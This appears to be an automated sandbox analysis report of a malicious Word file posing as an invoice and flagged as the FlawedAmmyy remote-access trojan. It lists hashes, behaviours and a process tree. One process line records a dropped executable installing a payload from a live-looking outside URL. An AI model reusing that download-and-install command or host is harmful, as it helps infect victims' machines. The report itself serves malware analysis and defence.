Analysis
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max time kernel
101s -
max time network
124s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
16-09-2024 06:27
Static task
static1
Behavioral task
behavioral1
Sample
Invoice_ 69010.16_10.doc
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
Invoice_ 69010.16_10.doc
Resource
win10v2004-20240802-en
General
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Target
Invoice_ 69010.16_10.doc
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Size
77KB
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MD5
a8eda3039c4cbbb362eb5847ed38e37a
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SHA1
a1dca8f8ca13895aa9eb84456c7a2a92e1457e27
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SHA256
e006216019968c4bcdf3a7962842ed9200927f17578bcc45ea65e77955b6fd3f
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SHA512
9792974f387a872d04be16d35b9f2de407926000d0781c0dda569021e531fe0d57217a9bfb4d3cb60f2c038e24c4456a8c98ae1a8e5ffc019d776ed23d9e7ded
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SSDEEP
768:dD3bcTOAe/uqeX61y7PDqfgljPOs+jNWNA4H7dLuVXBk0KEzt6ePrMBfr:tsO5ucuqIljPOs+jH8VuVXBki8ezy
Malware Config
Signatures
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FlawedAmmyy RAT
Remote-access trojan based on leaked code for the Ammyy remote admin software.
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Executes dropped EXE 1 IoCs
Processes:
pixie.exepid process 2160 pixie.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2524 WINWORD.EXE 2524 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 32 IoCs
Processes:
pixie.exemsiexec.exedescription pid process Token: SeShutdownPrivilege 2160 pixie.exe Token: SeIncreaseQuotaPrivilege 2160 pixie.exe Token: SeSecurityPrivilege 4960 msiexec.exe Token: SeCreateTokenPrivilege 2160 pixie.exe Token: SeAssignPrimaryTokenPrivilege 2160 pixie.exe Token: SeLockMemoryPrivilege 2160 pixie.exe Token: SeIncreaseQuotaPrivilege 2160 pixie.exe Token: SeMachineAccountPrivilege 2160 pixie.exe Token: SeTcbPrivilege 2160 pixie.exe Token: SeSecurityPrivilege 2160 pixie.exe Token: SeTakeOwnershipPrivilege 2160 pixie.exe Token: SeLoadDriverPrivilege 2160 pixie.exe Token: SeSystemProfilePrivilege 2160 pixie.exe Token: SeSystemtimePrivilege 2160 pixie.exe Token: SeProfSingleProcessPrivilege 2160 pixie.exe Token: SeIncBasePriorityPrivilege 2160 pixie.exe Token: SeCreatePagefilePrivilege 2160 pixie.exe Token: SeCreatePermanentPrivilege 2160 pixie.exe Token: SeBackupPrivilege 2160 pixie.exe Token: SeRestorePrivilege 2160 pixie.exe Token: SeShutdownPrivilege 2160 pixie.exe Token: SeDebugPrivilege 2160 pixie.exe Token: SeAuditPrivilege 2160 pixie.exe Token: SeSystemEnvironmentPrivilege 2160 pixie.exe Token: SeChangeNotifyPrivilege 2160 pixie.exe Token: SeRemoteShutdownPrivilege 2160 pixie.exe Token: SeUndockPrivilege 2160 pixie.exe Token: SeSyncAgentPrivilege 2160 pixie.exe Token: SeEnableDelegationPrivilege 2160 pixie.exe Token: SeManageVolumePrivilege 2160 pixie.exe Token: SeImpersonatePrivilege 2160 pixie.exe Token: SeCreateGlobalPrivilege 2160 pixie.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
WINWORD.EXEpid process 2524 WINWORD.EXE 2524 WINWORD.EXE 2524 WINWORD.EXE 2524 WINWORD.EXE 2524 WINWORD.EXE 2524 WINWORD.EXE 2524 WINWORD.EXE 2524 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 2524 wrote to memory of 2160 2524 WINWORD.EXE pixie.exe PID 2524 wrote to memory of 2160 2524 WINWORD.EXE pixie.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Invoice_ 69010.16_10.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2524 -
C:\Users\Admin\AppData\Local\Temp\pixie.exe"C:\Users\Admin\AppData\Local\Temp\pixie.exe" /norestart /q /i http://msboxoffice.com/tech2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2160
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4960
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
263KB
MD5ff0e07eff1333cdf9fc2523d323dd654
SHA177a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA2563f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d
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Filesize
68KB
MD5e5da170027542e25ede42fc54c929077
SHA15d6102f5a170e982c7735bfc2b9c1a0a0d435fd1
SHA2560a8797d088023a7f17bb00b22ff7c91036070cca561bff5337c472313c0cb4ad
SHA512c7595c3770d743229cea4e56d0191535b92f280f98bdad9c21606aacb7f4dcbefeab9bf8c22836059b56a4abdb839ed7aad2f855e34effbf508e392e9b4029a4
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Filesize3KB
MD568f66eda70f9e2ba5c5d8b7b3e234519
SHA1de694b4a7df2227259e0c71c0da9c98f7aeff6a5
SHA2569a50085e124038dc7bd020d558062d67a6f8fe1f0ea2df0f36c06fa21148b9db
SHA512773652f710fc3ee6a95e8a70282efaf6c5b626081fe476b431d7ee983662f29bedcbfa2cbd16780c5cc18d757237090bdbb6242b20187acb968a1c2216c0b8b6